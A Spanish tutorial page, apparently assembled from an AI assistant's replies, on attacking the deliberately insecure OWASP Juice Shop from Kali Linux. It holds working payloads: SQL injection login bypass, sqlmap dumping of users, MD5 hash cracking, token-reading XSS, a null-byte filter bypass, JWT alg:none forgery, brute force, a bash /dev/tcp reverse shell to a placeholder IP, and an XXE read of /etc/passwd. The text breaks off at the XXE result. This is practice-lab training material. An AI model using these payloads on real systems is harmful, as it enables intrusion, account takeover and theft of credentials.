OWASP Juice Shop en Kali Linux

 

 https://www.onlinetis.com/es/

OWASP Juice Shop en Kali Linux

OWASP Juice Shop es probablemente la aplicación web más moderna y sofisticada para practicar hacking ético. Es intencionalmente insegura, está escrita en Node.js, Express y Angular, y contiene más de 100 retos de diferentes niveles de dificultad.

Aquí tienes una guía rápida para ponerla en marcha en tu Kali Linux de forma eficiente:


🚀 Formas de Instalar Juice Shop en Kali

Existen varias rutas, pero estas son las más recomendadas para no romper dependencias de tu sistema:

1. Usando Docker (La opción más limpia)

Es la forma recomendada porque evita conflictos con las versiones de Node.js de tu Kali.

  • Paso 1: Instala Docker si no lo tienes: sudo apt update && sudo apt install docker.io -y

  • Paso 2: Descarga y corre el contenedor:

    Bash
    sudo docker pull bkimminich/juice-shop
    sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
    
  • Paso 3: Abre tu navegador y ve a: http://localhost:3000

2. Instalación Nativa (Node.js)

Si prefieres no usar Docker, puedes hacerlo directamente:

  1. Descarga el archivo comprimido desde el GitHub oficial (busca el archivo .zip o tgz para tu arquitectura).

  2. Descomprímelo: unzip juice-shop-x.x.x_node18_linux_x64.zip

  3. Entra a la carpeta y ejecuta: npm start


🛠️ Qué herramientas de Kali usar con Juice Shop

Una vez que tengas la tienda funcionando en el puerto 3000, estas son las herramientas de tu arsenal que deberías probar:

  • Burp Suite: Indispensable para interceptar peticiones, probar Inyecciones SQL y Cross-Site Scripting (XSS).

  • ffuf o Gobuster: Para encontrar directorios ocultos o archivos olvidados (como archivos .bak o configuraciones).

  • SQLmap: Una vez encuentres un punto de inyección, intenta automatizar la extracción de la base de datos de usuarios.

  • ZAP (OWASP Zap): El hermano de Burp Suite, ideal para escaneos de vulnerabilidades pasivos y activos.


💡 Un par de consejos para empezar

  1. Busca el "Score Board": Juice Shop tiene una página de puntuación oculta donde verás todos los retos. No te daré la URL exacta (¡es el primer reto!), pero revisa el código fuente o los archivos .js.

  2. Tutoriales integrados: La aplicación tiene un pequeño "hacker" que te guía en los primeros pasos si te sientes perdido.

Nota importante: Aunque Juice Shop es una herramienta de aprendizaje, recuerda siempre practicar solo en entornos controlados y nunca contra sitios web sin autorización previa.


Encontrar el Score Board es el primer "rito de iniciación" en Juice Shop. Como la aplicación es una Single Page Application (SPA), mucha de la lógica y las rutas están escondidas en los archivos JavaScript que se cargan en el navegador.

Aquí tienes un comando específico que puedes ejecutar desde tu terminal de Kali para encontrar la ruta sin tener que leer miles de líneas de código a mano:

El comando "mágico" (Usando curl y grep)

Este comando descarga el archivo principal de JavaScript del frontend y busca patrones relacionados con el "score-board":

Bash
curl -s http://localhost:3000/main.js | grep -oE "/score-board"

Si el archivo no se llama main.js (a veces tiene números como main-es2015.js), puedes usar este otro más genérico:

Bash
curl -s http://localhost:3000/ | grep -oE "main\.[a-z0-9]+\.js" | xargs -I {} curl -s http://localhost:3000/{} | grep -o "score-board"

¿Cómo hacerlo manualmente con las herramientas de Kali?

Si prefieres usar la metodología de un pentester real, Burp Suite es tu mejor amigo:

  1. Abre Burp Suite y asegúrate de que el Proxy esté capturando el tráfico.

  2. Refresca la página de Juice Shop (http://localhost:3000).

  3. Ve a la pestaña Target -> Site Map.

  4. Haz clic derecho sobre la carpeta del sitio y selecciona Search.

  5. Busca el término score-board.

  6. Verás que aparece en un archivo .js. Solo tienes que añadir esa ruta a la URL en tu navegador: http://localhost:3000/#/score-board (Nota: Juice Shop suele usar fragmentos con #).


¿Por qué funciona esto?

En aplicaciones modernas como Angular, las rutas (las "páginas" del sitio) se definen en el lado del cliente. Al inspeccionar el código compilado, podemos ver una lista de todas las rutas disponibles, incluidas aquellas que no aparecen en los menús visibles para un usuario normal.

 

Vamos a por el primer gran trofeo: entrar en la cuenta del administrador (admin@juice-sh.op).

Para esto usaremos un SQL Injection (SQLi) clásico. El objetivo es engañar al formulario de login para que nos deje entrar sin saber la contraseña.


Paso 1: Configurar el ataque

  1. Abre Burp Suite en tu Kali.

  2. Asegúrate de que el Proxy esté en Interception is ON.

  3. En el navegador de Juice Shop, ve a la página de Login.

Paso 2: Interceptar la petición

  1. Escribe cualquier correo y cualquier contraseña (ej. test@test.com y 12345).

  2. Dale a Log In.

  3. Burp Suite capturará la petición. Haz clic derecho sobre ella y selecciona Send to Repeater (o presiona Ctrl + R). Esto nos permite repetir la petición cambiando los datos.

Paso 3: El "Payload" de Inyección SQL

En la pestaña Repeater, verás el cuerpo de la petición en formato JSON. Vamos a modificar el campo del email.

Cambia esto:

"email": "test@test.com"

Por esto:

"email": "admin@juice-sh.op'--"

¿Por qué funciona esto?

  • El ' (comilla simple) cierra la cadena de texto en la consulta SQL del servidor.

  • El -- es el símbolo de comentario en SQL. Esto hace que el servidor ignore el resto de la consulta (la parte que verifica la contraseña).

  • La consulta interna pasa de ser "Busca usuario X con contraseña Y" a simplemente "Busca al usuario admin@juice-sh.op y olvida el resto".

Paso 4: ¡BINGO!

  1. Dale al botón Send en Burp Suite.

  2. Si recibes una respuesta 200 OK con un token de autenticación en el cuerpo de la respuesta, ¡lo has logrado!

  3. Apaga el Intercept (Intercept is OFF) y verás que en el navegador ya estás logueado como Admin.


¿Qué sigue?

Ahora que eres administrador, tienes acceso a funciones que un usuario normal no ve.

 

Pasar de una inyección manual en Burp Suite a la automatización con sqlmap es el paso natural para cualquier pentester.

sqlmap es la herramienta "reina" en Kali Linux para detectar y explotar inyecciones SQL. Como Juice Shop usa una base de datos SQLite, vamos a extraer toda la tabla de usuarios.


1. Preparar la petición para sqlmap

La forma más profesional de usar sqlmap es dándole un archivo con la petición HTTP real que capturaste en Burp Suite.

  1. Ve a Burp Suite -> pestaña Proxy -> HTTP History.

  2. Busca la petición POST que hiciste al intentar loguearte (/rest/user/login).

  3. Haz clic derecho sobre ella y selecciona Copy to file. Guárdalo en tu carpeta personal como login.req.

2. El comando de ataque

Abre tu terminal en Kali y ejecuta el siguiente comando. Este comando le dice a sqlmap que analice el archivo, busque vulnerabilidades en los datos del POST y extraiga la tabla de usuarios:

Bash
sqlmap -r login.req --batch --dump -T Users

Explicación de los flags:

  • -r login.req: Lee la petición HTTP desde el archivo que guardaste (incluye headers, cookies, etc.).

  • --batch: Responde "sí" automáticamente a todas las preguntas por defecto (ahorra mucho tiempo).

  • --dump: Extrae y muestra los datos de la base de datos.

  • -T Users: Se enfoca específicamente en la tabla llamada Users.


3. ¿Qué verás en tu pantalla?

sqlmap empezará a probar diferentes técnicas (Boolean-based, Error-based, Time-based). Una vez que encuentre el punto débil, verás una tabla en tu terminal con:

idemailpassword (hash)role
1admin@juice-sh.op01102ad5b2...admin
2jim@juice-sh.op00102ad5b1...customer
............

[!IMPORTANT]

El detalle del Hash: Verás que las contraseñas no están en texto plano, sino en formato MD5. sqlmap te preguntará si quieres intentar crackearlas usando un ataque de diccionario. ¡Dile que sí!


🛠️ Siguiente paso recomendado

Ahora que tienes los hashes de las contraseñas, podrías intentar romperlos manualmente usando John the Ripper o Hashcat (ambos preinstalados en Kali).

 

Ahora entraremos en la fase de Cracking de Contraseñas. En el paso anterior, sqlmap te mostró una columna llamada password que contiene cadenas de texto largas y raras (como 01102ad5b2...). Eso es un Hash MD5.

En Kali, John the Ripper (john) es el estándar de oro para romper estos hashes mediante fuerza bruta o diccionarios.


1. Preparar el archivo de hashes

Primero, necesitamos poner los hashes que encontraste en un archivo de texto para que John pueda leerlos. Supongamos que el hash del administrador es 2f26a0904323e0c034375b08df17d096.

Abre tu terminal y crea el archivo:

Bash
echo "2f26a0904323e0c034375b08df17d096" > hashes.txt

(Si tienes varios, pon uno por línea).

2. Usar el "Diccionario de Oro" (Rockyou.txt)

Kali viene con una lista de millones de contraseñas reales filtradas llamada rockyou.txt. Está comprimida por defecto, así que primero asegúrate de que esté lista:

Bash
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

3. Ejecutar John the Ripper

Ahora, lanza el ataque indicando que el formato es MD5 (el que usa Juice Shop para sus usuarios):

Bash
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

4. Ver los resultados

Si la contraseña está en la lista (y en Juice Shop suele ser una sencilla como "admin123"), John la encontrará en segundos. Para ver qué contraseñas ha descifrado, usa:

Bash
john --show --format=Raw-MD5 hashes.txt

Verás algo como: 2f26a0904323e0c034375b08df17d096:admin123.


💡 Un poco de teoría (Candor de IA)

Es importante que sepas que el MD5 es un algoritmo de hashing extremadamente antiguo y vulnerable. Hoy en día, las aplicaciones seguras usan algoritmos como bcrypt o Argon2, que son mucho más lentos de procesar, haciendo que ataques como el que acabamos de hacer tarden años en lugar de segundos. Juice Shop usa MD5 a propósito para que puedas aprender estas técnicas.


¿Qué sigue en tu entrenamiento?

Ya sabes interceptar (Burp), automatizar inyecciones (sqlmap) y romper hashes (John). El siguiente gran reto en Juice Shop suele ser el Cross-Site Scripting (XSS), donde inyectas código JavaScript para robar cookies de otros usuarios.

 

El Cross-Site Scripting (XSS) es una de las vulnerabilidades más comunes y divertidas de probar. Básicamente, consiste en "inyectar" código JavaScript en la página web para que el navegador de otro usuario lo ejecute.

En Juice Shop, el tipo más sencillo es el XSS Reflejado.


1. El concepto: ¿Cómo funciona?

Cuando escribes algo en la barra de búsqueda de Juice Shop, la página suele mostrar un mensaje tipo: "Resultados para: lo-que-escribiste".

Si la aplicación no "limpia" (sanitiza) lo que escribes, puedes enviar código en lugar de texto. El navegador verá las etiquetas <script> y pensará: "Ah, esto es código que debo ejecutar ahora mismo".


2. El ataque: Tu primer Payload

Sigue estos pasos en tu Kali:

  1. Ve a la barra de búsqueda en la parte superior de la tienda.

  2. Escribe el siguiente código (el "payload" clásico):

    HTML
    <script>alert("XSS")</script>
    
  3. Pulsa Enter.

Si ves una ventana emergente (un pop-up) en tu navegador que dice "XSS", ¡felicidades! Has ejecutado código JavaScript en el contexto de la aplicación.


3. Subiendo de nivel: Robar la Sesión

Un hacker real no solo muestra alertas; quiere el Token de Sesión (la "llave" que te mantiene logueado).

Prueba esto en la barra de búsqueda:

HTML
<script>alert(localStorage.getItem('token'))</script>

Juice Shop guarda el token de acceso en el localStorage. Al ejecutar esto, verás tu propia "llave" de acceso en pantalla. En un ataque real, el hacker enviaría este token a su propio servidor.


4. XSS Persistente (Más peligroso)

El XSS anterior desaparece si refrescas la página. Pero hay sitios donde tu entrada se guarda en la base de datos (como en los comentarios o en tu perfil).

  • Reto: Ve a la sección de "Customer Feedback" (Comentarios).

  • Intenta poner un script en el campo de comentario.

  • Si alguien más (o el administrador) entra a ver los comentarios, el script se ejecutará en su navegador automáticamente.


🛠️ Herramienta de Kali para XSS: XSStrike

Si quieres automatizar la búsqueda de estos fallos, en Kali puedes instalar y usar XSStrike:

Bash
# Instalación rápida
sudo apt install xsstrike

# Uso básico contra un parámetro (ejemplo)
xsstrike -u "http://localhost:3000/#/search?q=test"

Esta herramienta probará cientos de variaciones para saltarse los filtros de seguridad.



El Broken Access Control (Control de Acceso Roto) es una de las vulnerabilidades más críticas según el OWASP Top 10. Se basa en que el servidor confía en el usuario o no protege correctamente las rutas de los archivos sensibles.

En Juice Shop, hay un reto clásico llamado "Confidential Document". Vamos a intentar acceder a archivos que la empresa no quiere que veas (como archivos .pdf o .txt internos).


1. La técnica: Directory Traversal / Information Disclosure

Muchos desarrolladores olvidan proteger carpetas como /ftp o /backup. En Juice Shop, existe un directorio llamado ftp que contiene archivos públicos... y otros que no deberían serlo.

Paso 1: Exploración manual

Prueba a añadir /ftp al final de la URL en tu navegador:

http://localhost:3000/ftp

Verás un listado de archivos. Algunos se pueden descargar (como legal.md), pero si intentas descargar otros (como package.json.bak o coupons_2013.md.bak), el servidor te dará un error de seguridad: "Only .md and .pdf files are allowed!".

2. El "Hack": Saltarse la restricción de extensión

El servidor tiene una "lista blanca" (Whitelist) que solo permite archivos que terminen en .md o .pdf. Para engañarlo, usaremos un truco de Envenenamiento de Nulo (Null Byte) o simplemente aprovecharemos cómo el servidor maneja las rutas.

El truco del carácter invisible:

Antiguamente se usaba %00 (null byte), pero en versiones modernas de Node.js, Juice Shop requiere que el archivo parezca un PDF o MD al final de la cadena.

Prueba a acceder a esta URL directamente en el navegador:

http://localhost:3000/ftp/package.json.bak%2500.md

¿Qué está pasando aquí?

  1. El servidor ve que la URL termina en .md, así que "pasa" el filtro de seguridad.

  2. Sin embargo, al intentar leer el archivo en el disco, el sistema operativo o la librería de archivos interpreta el %2500 (que es un %00 doblemente codificado) como el fin de la cadena, intentando abrir package.json.bak.


3. Herramienta de Kali: Dirb o Gobuster

Para encontrar estas carpetas "olvidadas" en un sitio real, no lo haces a mano. Usas herramientas de Fuzzing.

Abre tu terminal y usa gobuster (que es rapidísimo):

Bash
gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt

Este comando probará miles de nombres de carpetas comunes (/admin, /config, /backup, /ftp) y te dirá cuáles existen (Código 200 o 301).


🚀 Tu siguiente objetivo: "The Administrative Trash"

Hay un archivo llamado access.log que suele estar en carpetas de registro o copias de seguridad. Si logras encontrarlo y leerlo, podrías ver rutas de administración ocultas.

 

Este es uno de los ataques más elegantes en el hacking web moderno. JWT (JSON Web Tokens) es el estándar que usa Juice Shop para saber quién eres después de que haces login.

El problema es que, si el servidor no verifica correctamente la firma del token, nosotros podemos editar el contenido (nuestro rol, nuestro ID de usuario, etc.) y el servidor nos creerá.


🛠️ El Ataque: JWT Manipulation (Escalada de Privilegios)

En este escenario, vamos a pasar de ser un usuario común a tener permisos que no nos corresponden simplemente editando nuestra "identidad" digital.

1. Capturar el Token

  1. Inicia sesión con cualquier usuario normal que hayas creado o hackeado.

  2. Abre Burp Suite y ve a la pestaña Proxy -> HTTP History.

  3. Busca una petición que tenga un header llamado Authorization: Bearer eyJhbGci....

  4. Haz clic derecho y envíala al Repeater (Ctrl + R).

2. Entender el JWT

Un token JWT tiene tres partes separadas por puntos (.):

  • Header: Indica el algoritmo (ej. HS256).

  • Payload: Datos del usuario (email, rol, etc.).

  • Signature: La firma de seguridad.

3. El truco del algoritmo "None"

Muchos servidores vulnerables aceptan un token si les decimos que el algoritmo de cifrado es none. Al hacer esto, el servidor ignora la firma y confía ciegamente en el Payload.

  1. Copia tu token y ve a la pestaña JSON Web Tokens en Burp (si tienes la extensión instalada) o usa un codificador Base64 online.

  2. Modifica el Header:

    • Cambia "alg": "HS256" por "alg": "none".

  3. Modifica el Payload:

    • Busca donde dice "role": "customer" y cámbialo por "role": "admin".

  4. Elimina la firma: Borra todo lo que haya después del segundo punto, pero mantén el punto al final.

    • Tu token debería verse así: header_codificado.payload_codificado.

4. Enviar y Validar

  1. Sustituye el token original en el header Authorization del Repeater por tu nuevo token modificado.

  2. Dale a Send.

  3. Si el servidor responde con un 200 OK y ves datos administrativos, ¡has escalado privilegios con éxito!


💡 ¿Por qué es esto un error grave?

Es como si un guardia de seguridad viera un carnet de identidad donde tú mismo tachaste "Visitante" con un bolígrafo y escribiste "Director General", y el guardia te dejara pasar solo porque el formato del carnet le resulta familiar.

Regla de oro: Nunca confíes en los datos que vienen del cliente sin validar la firma criptográfica en el servidor.


¿Qué quieres dominar ahora?

Has cubierto casi todo el espectro básico-intermedio. Podríamos ver:

  1. Inseguridad en la Deserialización: Cómo ejecutar comandos en el sistema operativo a través de un archivo cargado.

  2. Ataques de Fuerza Bruta: Usar Burp Intruder para adivinar contraseñas de cuentas específicas masivamente.

 

Vamos a usar el Burp Intruder. Esta es la herramienta de "artillería pesada" de Burp Suite, diseñada para automatizar ataques personalizados.

Imagina que quieres entrar en la cuenta de un usuario específico (por ejemplo, support@juice-sh.op), pero no tienes su contraseña y el SQL Injection no funciona porque ese campo está bien programado. Aquí es donde entra la Fuerza Bruta.


1. Captura la "Víctima"

  1. En Juice Shop, ve al Login.

  2. Escribe el email objetivo: support@juice-sh.op.

  3. Escribe una contraseña cualquiera (ej: 12345).

  4. Con el Proxy de Burp encendido, dale a Log In.

  5. Busca la petición en el historial, haz clic derecho y selecciona Send to Intruder (o Ctrl + I).

2. Configura el "Blanco" (Positions)

Ve a la pestaña Intruder -> Positions. Verás que Burp ha resaltado automáticamente muchos campos.

  1. Haz clic en el botón Clear § de la derecha para limpiar todo.

  2. Selecciona solo el valor de la contraseña (en nuestro ejemplo, 12345).

  3. Haz clic en Add §. Debería verse algo como: ... "password": "§12345§" ....

  4. Asegúrate de que el Attack Type arriba esté en Sniper.

3. Carga la "Munición" (Payloads)

Ve a la pestaña Payloads:

  1. En Payload Settings, puedes escribir una lista de contraseñas probables o cargar un diccionario.

  2. Para una prueba rápida en Kali, puedes darle a Load y buscar: /usr/share/wordlists/metasploit/unix_passwords.txt (es una lista pequeña y rápida).

4. ¡Fuego! (The Attack)

Haz clic en el botón Start Attack (arriba a la derecha). Se abrirá una ventana nueva donde verás cómo Burp prueba cada contraseña de la lista.

¿Cómo saber si tuviste éxito?

Observa las columnas Status y Length:

  • La mayoría de los intentos fallidos devolverán un error (401 Unauthorized).

  • Si una fila muestra un código diferente (ej: 200 OK) o tiene una Length (longitud) muy distinta a las demás, ¡has encontrado la contraseña correcta!


⚠️ Un detalle importante: Rate Limiting

En el mundo real, las aplicaciones suelen tener un "bloqueo" si fallas la contraseña 3 o 5 veces. Juice Shop, al ser un entorno de práctica, es más permisivo, pero en tu carrera de pentester aprenderás que a veces hay que configurar el Intruder para que vaya más lento (pestaña Resource Pool) y así evitar que el servidor nos bloquee la IP.


🏆 Tu camino ninja

Has pasado por:

  • Escaneo de directorios (Gobuster)

  • Inyección SQL (Manual y SQLmap)

  • Cracking de Hashes (John the Ripper)

  • Manipulación de Identidad (JWT)

  • Fuerza Bruta (Burp Intruder)

Para cerrar este "ciclo básico", solo nos faltaría ver algo de Inyección de Comandos (OS Command Injection), donde logramos que el servidor de la tienda ejecute comandos de la terminal de Linux (como whoami o ls).

 

Este es el "santo grial" de los ataques, ya que pasamos de manipular datos de la web a tomar control del sistema operativo (Kali/Linux) que aloja la aplicación.

En Juice Shop, esto suele ocurrir en funciones donde el servidor procesa archivos de forma insegura. El objetivo es lograr una RCE (Remote Code Execution).


1. El Concepto: ¿Qué es la Inyección de Comandos?

Ocurre cuando una aplicación envía datos del usuario a una "shell" del sistema (como bash o cmd) sin filtrarlos. Por ejemplo, si la tienda intentara hacer un ping a una dirección que tú le das, podrías añadir un comando extra usando un punto y coma ;.


2. El Escenario: Vulnerabilidad en la subida de archivos

Juice Shop permite subir fotos de perfil o archivos de quejas. Si el servidor usa una librería vulnerable para procesar estas imágenes (como una versión antigua de ImageMagick o un procesador de PDF), podemos inyectar código.

El Payload

Imagina que el servidor ejecuta internamente algo como: convert imagen.jpg salida.pdf.

Si cambiamos el nombre de nuestro archivo a:

imagen.jpg; whoami

El servidor acabará ejecutando:

convert imagen.jpg; whoami

...y nos devolverá el nombre del usuario que corre el servicio (probablemente node o root).


3. Explotación: Reverse Shell (Control Total)

El objetivo final de un hacker no es solo ver su nombre de usuario, sino obtener una terminal remota. Esto se llama Reverse Shell.

  1. Prepara tu escucha en Kali:

    Abre una terminal y dile a tu sistema que espere una conexión:

    Bash
    nc -lvnp 4444
    

    (Esto abre Netcat en el puerto 4444 esperando una llamada).

  2. Inyecta el comando de retorno:

    En el campo vulnerable de Juice Shop, intentarías inyectar algo como esto:

    Bash
    ; bash -i >& /dev/tcp/TU_IP_KALI/4444 0>&1
    

Si el ataque tiene éxito, verás que en tu terminal de Netcat aparece de repente un prompt: node@juice-shop:/$. ¡Ya estás dentro del servidor!


4. ¿Cómo prevenir esto?

Como desarrollador, la solución es NUNCA usar funciones que llamen directamente al sistema operativo (como exec() o spawn()) con datos que vengan del usuario. Siempre se deben usar APIs internas de la plataforma (Node.js en este caso).


🏁 Has completado el "Tour del Pentester"

Has aprendido las bases de:

  1. Reconocimiento (Fuzzing de directorios).

  2. Explotación de BD (SQL Injection).

  3. Ataques de Cliente (XSS).

  4. Gestión de Sesiones (JWT y Fuerza Bruta).

  5. Control del Sistema (Command Injection).

Juice Shop tiene muchos más retos (como NoSQL Injection, SSTI, o SSRF).

 

Si estás mirando el Score Board de Juice Shop por primera vez, verás que los retos están clasificados por estrellas (de 1 a 6).

Uno de los retos que más "resistencia" suele poner a los principiantes porque requiere entender cómo funciona el lado del cliente (Frontend) y el lado del servidor (API) es el de "View Basket" (Ver la cesta de otro usuario). Es un reto de nivel 2 estrellas, pero enseña un concepto vital: IDOR (Insecure Direct Object Reference).

Aquí tienes cómo resolverlo paso a paso usando tu Kali Linux:


🎯 Reto: View Basket (IDOR)

Objetivo: Ver el contenido del carrito de compras de otro usuario.

1. El Concepto: ¿Qué es un IDOR?

Ocurre cuando una aplicación usa un identificador (como un número de ID) para acceder a un recurso y no verifica si ese recurso te pertenece. Es como si en un hotel tu llave tuviera el número 101, pero si tú mismo escribes 102 en la cerradura, la puerta se abre.

2. Preparación en Kali

  1. Inicia sesión en Juice Shop con tu cuenta normal.

  2. Añade un par de artículos a tu cesta (basket).

  3. Abre Burp Suite y activa el Intercept is ON.

3. Interceptar la petición de la cesta

  1. Haz clic en el icono del carrito en la web.

  2. En Burp Suite, verás una petición GET hacia una ruta parecida a esta:

    GET /rest/basket/1 HTTP/1.1 (El número 1 es tu ID de cesta).

  3. Haz clic derecho y envíala al Repeater (Ctrl + R).

4. La Explotación (El "Hack")

  1. En el Repeater, cambia simplemente el número al final de la URL. Si tu ID es 1, prueba con 2, 3 o 4.

    GET /rest/basket/2 HTTP/1.1

  2. Dale a Send.

  3. ¡Magia! Verás un JSON con los productos que otro usuario tiene en su cesta, incluyendo los IDs de los productos y las cantidades.


🚀 Otros retos específicos que suelen "atascarse":

RetoNivelPista Clave
Admin Section⭐⭐Intenta acceder a /administration (pero fíjate en cómo Angular maneja las rutas en el main.js).
Login Jim⭐⭐⭐Jim usa una contraseña muy común. ¿Recuerdas el ataque de Fuerza Bruta con el Intruder que vimos?
Zero StarsIntenta enviar un comentario (Feedback) con una puntuación de 0 estrellas. El frontend no te deja, ¡pero Burp Suite sí!

El reto "Admin Section" es fundamental porque te enseña que "oculto" no significa "seguro". En las aplicaciones modernas (SPA), el menú de administrador puede no aparecer en la interfaz, pero el código para mostrarlo ya está en tu navegador.

Aquí tienes los pasos exactos para resolverlo en tu Kali Linux:


1. El Concepto: Seguridad por Oscuridad

Muchos desarrolladores piensan que si no ponen un botón que diga "Admin", nadie encontrará la página. Pero como vimos al buscar el Score Board, todas las rutas están definidas en los archivos JavaScript del frontend (main.js).

2. Paso a paso: Localizar la ruta

  1. Abre tu navegador en Juice Shop (http://localhost:3000).

  2. Presiona F12 (Herramientas de desarrollador) y ve a la pestaña Debugger o Sources.

  3. Busca el archivo que empiece por main (ej. main-es2015.js).

  4. Presiona Ctrl + F y busca la palabra clave: admin.

  5. Encontrarás una lista de rutas (routes). Verás algo como:

    { path: 'administration', component: ... }

La ruta es: http://localhost:3000/#/administration

3. El Bloqueo (403 Forbidden)

Si intentas entrar directamente a esa URL siendo un usuario normal, Juice Shop te echará o te mostrará un error. ¿Por qué? Porque el servidor verifica tu "Role" en el token JWT.

4. La Explotación (Combinando Técnicas)

Para ganar este reto, necesitas entrar a esa sección siendo Admin. ¿Recuerdas cómo lo hicimos antes?

  1. Opción A (Inyección SQL): Haz el login de administrador con el payload "email": "admin@juice-sh.op'--" y luego navega manualmente a http://localhost:3000/#/administration.

  2. Opción B (Manipulación de JWT): Si ya estás logueado como usuario normal, intercepta una petición con Burp Suite, cambia tu "role": "customer" por "role": "admin" (usando el truco de alg: none si es necesario) y accede a la ruta.


🏆 ¿Qué verás dentro?

Una vez que entres, verás una tabla con todos los usuarios registrados, sus correos y sus contraseñas (hasheadas). También verás un panel para gestionar el feedback de los clientes.

Reto Extra: En esa misma sección de administración, hay un botón para borrar el feedback de los usuarios. Si logras borrar uno, ¡completarás otro reto de 2 estrellas!


El reto "Zero Stars" es el ejemplo perfecto de por qué nunca se debe confiar en la validación del lado del cliente (frontend).

En la web de Juice Shop, si intentas dejar un comentario (Customer Feedback), verás que las estrellas te obligan a elegir entre 1 y 5. El botón "Submit" incluso se queda bloqueado si no seleccionas nada. Pero... ese bloqueo solo existe en tu navegador.

Aquí tienes cómo saltarte esa restricción usando Burp Suite en tu Kali:


1. El Concepto: Saltando el "Client-Side Validation"

El desarrollador puso una regla en el código HTML/JavaScript: mínimo = 1. Pero el servidor (la API) a veces no tiene esa misma regla. Nosotros interceptaremos el paquete después de que pase la validación del navegador, pero antes de que llegue al servidor.

2. Paso a Paso: El Ataque

  1. Prepara el terreno:

    • Ve a la sección Contact Us o Customer Feedback en Juice Shop.

    • Escribe un comentario cualquiera (ej: "Hacked!") y selecciona 1 estrella (para que el botón "Submit" se active).

  2. Intercepta la petición:

    • En Burp Suite, asegúrate de que Intercept is ON.

    • Haz clic en el botón Submit de la web.

  3. Modifica los datos en vuelo:

    • Burp capturará una petición POST hacia /api/Feedbacks/.

    • Verás el cuerpo del mensaje en formato JSON, algo como esto:

      JSON
      {
        "comment": "Hacked!",
        "rating": 1,
        "captchaId": 5,
        "captcha": "12"
      }
      
    • Cambia manualmente el "rating": 1 por "rating": 0.

  4. Suelta el paquete:

    • Haz clic en Forward (en Burp Suite) para enviar la petición modificada al servidor.

    • Apaga el intercept (Intercept is OFF).


3. El Resultado

Si lo has hecho bien, aparecerá un mensaje de éxito en la web de Juice Shop y el Score Board te notificará que has completado el reto.

¿Qué hemos aprendido? Que un atacante puede enviar cualquier dato a una API, ignorando por completo los límites, colores o bloqueos que el programador puso en la página web.


🏆 ¿Cuál es tu próximo objetivo?

Has progresado muchísimo hoy. Si quieres un reto que te obligue a pensar "fuera de la caja", te recomiendo el de "Five-Star Feedback".

El reto: Tienes que conseguir que un comentario de 1 estrella se convierta en uno de 5 estrellas sin borrarlo. Requiere que encuentres una vulnerabilidad llamada BQL (Broken Query Logic) o simplemente que seas un poco "pillo" con el panel de administración que descubrimos antes.

 

El reto de "comprar" algo gratis (o casi gratis) es uno de los más satisfactorios porque toca directamente la lógica de negocio de la aplicación.

En ciberseguridad, esto se conoce como Parameter Tampering (Manipulación de Parámetros). El servidor confía en que el precio que envía el carrito es el correcto, pero nosotros vamos a decirle al servidor cuánto queremos pagar.


🛒 El Reto: Manipulación de Precios (Basket Overcharging/Undercharging)

El objetivo es realizar un pedido donde el precio final sea 0 o incluso negativo.

1. Preparación

  1. Añade un producto caro a tu cesta (por ejemplo, la "Apple Juice" o alguna edición de coleccionista).

  2. Ve a tu Basket (Cesta).

  3. Abre Burp Suite y asegúrate de que Intercept is ON.

2. Interceptar la actualización del carrito

A veces, el precio no se envía al añadir el producto, sino al modificar la cantidad.

  1. En la cesta, cambia la cantidad de tu producto (de 1 a 2, por ejemplo).

  2. Burp Suite capturará una petición PUT hacia /api/BasketItems/ID_DEL_ITEM.

  3. Observa el JSON que se envía. Es probable que veas algo como:

    JSON
    {
      "id": 5,
      "quantity": 2
    }
    

3. El "Hack" de la cantidad negativa

Si no puedes cambiar el precio directamente porque el servidor lo calcula internamente, puedes usar matemáticas de hacker:

  1. En el JSON interceptado, cambia la cantidad a un número negativo:

    JSON
    {
      "id": 5,
      "quantity": -100
    }
    
  2. Dale a Forward y apaga el Intercept.

4. ¿Qué acaba de pasar?

Si el programador no previó cantidades negativas, el cálculo del total será:

$$Precio \times (-100) = -\text{Mucho Dinero}$$

Tu saldo total de la cesta ahora será negativo. Si añades otros productos normales, puedes ajustar la cantidad negativa para que el total sume exactamente 0. Al tramitar el pedido, ¡el sistema te dejará "comprar" sin pagar un céntimo!


🛡️ ¿Cómo se arregla esto en el mundo real?

Este es un error de lógica de negocio clásico. La solución es:

  1. Nunca confiar en la cantidad/precio del cliente: El servidor debe validar que quantity > 0.

  2. Recalcular siempre en el servidor: El precio debe obtenerse de la base de datos interna justo antes de procesar el pago, no de lo que diga la petición HTTP.


🏁 ¿Cuál es el siguiente paso en tu entrenamiento?

Has hackeado la lógica de precios, el login, el panel de admin y hasta el sistema operativo. Estás progresando a un ritmo increíble.

Si quieres subir a 4 estrellas, hay un reto muy interesante llamado "Christmas Special". Tienes que encontrar un producto que no debería existir en la tienda fuera de temporada usando una técnica llamada Inyección de Consultas NoSQL o SQL avanzado.

 

El ataque XXE (XML External Entity) es fascinante porque utiliza una característica legítima de los procesadores de XML para convertirlos en armas de extracción de datos.

En Juice Shop, este ataque suele realizarse en funciones que aceptan archivos XML, como la subida de facturas o la importación de configuraciones. Aquí te explico cómo funciona y cómo ejecutarlo desde tu Kali Linux.


1. El Concepto: ¿Qué es un XXE?

XML permite definir "entidades", que son como variables. Una Entidad Externa permite que esa variable tome su valor de una fuente fuera del documento XML, como un archivo en el disco duro del servidor (/etc/passwd).

Si el servidor procesa el XML y te devuelve el contenido de esa entidad en la respuesta, ¡acabas de leer un archivo interno!


2. Preparación del "Payload"

Necesitamos crear un archivo XML malicioso. Abre tu terminal en Kali y crea un archivo llamado ataque.xml:

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <items>
    <name>&xxe;</name>
  </items>
</root>

Desglose del código:

  • <!DOCTYPE foo [...]>: Define la estructura del documento.

  • <!ENTITY xxe SYSTEM "file:///etc/passwd">: Aquí ocurre la magia. Definimos una entidad llamada xxe que apunta al archivo de usuarios de Linux.

  • &xxe;: Llamamos a la entidad dentro del cuerpo del XML.


3. Ejecución en Juice Shop

  1. Busca una función que suba archivos (por ejemplo, en el apartado de "Complaint" si permite adjuntar XML, o en funciones de importación).

  2. Abre Burp Suite y activa el Intercept is ON.

  3. Sube tu archivo ataque.xml.

  4. En Burp, verás la petición POST con el contenido de tu XML. Dale a Forward.

El resultado:

